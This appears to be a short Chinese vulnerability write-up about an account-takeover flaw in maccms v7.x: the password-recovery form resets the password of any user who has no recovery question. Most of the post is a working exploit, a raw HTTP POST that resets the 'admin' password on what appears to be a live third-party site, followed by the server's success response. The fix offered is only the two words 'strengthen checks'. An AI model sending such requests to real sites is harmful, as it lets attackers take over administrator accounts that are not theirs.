苹果->Mac，示意：maccms的功能强大，深不可测。 CMS是Content Management System的缩写，意为"内容管理系统"。 问题出现在用户注册是无 找回问题 时（Powered by maccms v7.x）。 在找回密码的时候吧 直接填写用户名和重置密码即可，找回问题 和 答案 为空。这样就可以重置密码。具体看下面： 01 POST http://www.cunlide.com/user/index.asp?action=findpasssave HTTP/1.1 02 Host: www.cunlide.com 03 Connection: keep-alive 04 Content-Length: 48 05 Cache-Control: max-age=0 06 Origin: http://www.cunlide.com
07 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11 08 Content-Type: application/x-www-form-urlencoded 09 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 10 Referer: http:// www.2cto.com /user/index.asp?action=findpass
11 Accept-Encoding: gzip,deflate,sdch 12 Accept-Language: zh-CN,zh;q=0.8 13 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 14 Cookie: ASPSESSION IDC ARQCDCB=MONMACBBCABBPLFHNLMFDGEJ; code%5Fuserreg=9166 15 16 u_name=admin&u_question=&u_answer=&u_password=12 返回包： 1 HTTP/1.1 200 OK 2 Connection: close 3 Date: Tue, 08 Jan 2013 02:20:38 GMT 4 Server: Microsoft-IIS/6.0 5 X-Powered-By: ASP.NET 6 Content-Type: text/html; Charset=UTF-8 7 Cache-control: private 8 9 <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head> <body> <script type="text/javascript">alert('重置密码成功,正在转向登录页面\t\t');location.href='index. asp ?action=login';</script>
修复：加强检查
查看更多关于maccm重置任意无找回问题用户密码漏洞及修复 -的详细内容...